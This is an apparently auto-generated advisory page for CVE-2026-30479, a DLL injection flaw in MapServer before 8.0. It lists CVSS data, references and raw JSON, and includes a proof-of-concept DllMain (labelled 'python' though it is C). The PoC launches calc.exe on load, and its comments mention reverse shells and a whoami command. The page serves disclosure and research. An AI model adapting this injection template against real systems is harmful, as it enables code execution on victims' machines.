Security Vulnerability Report
中文
CVE-2026-30479 CVSS 9.1 CRITICAL

CVE-2026-30479

Published: 2026-04-09 17:16:25
Last Modified: 2026-04-14 17:16:50

Description

A Dynamic-link Library Injection vulnerability in OSGeo Project MapServer before v8.0 allows attackers to execute arbitrary code via a crafted executable.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

OSGeo Project MapServer < 8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h> #include <stdlib.h> // PoC for CVE-2026-30479 DLL Injection // This DLL executes a shell command when loaded by the vulnerable MapServer process. BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to execute upon injection // Example: Launching a calculator or reverse shell system("calc.exe"); // Or use WinExec for simpler commands // WinExec("cmd.exe /c whoami > C:\\temp\\poc.txt", SW_HIDE); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30479", "sourceIdentifier": "[email protected]", "published": "2026-04-09T17:16:24.730", "lastModified": "2026-04-14T17:16:49.510", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Dynamic-link Library Injection vulnerability in OSGeo Project MapServer before v8.0 allows attackers to execute arbitrary code via a crafted executable."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/penjaminTester/Research/tree/main/CVE-2026-30479", "source": "[email protected]"}, {"url": "https://mapserver.org/index.html", "source": "[email protected]"}, {"url": "https://github.com/penjaminTester/Research/tree/main/CVE-2026-30479", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}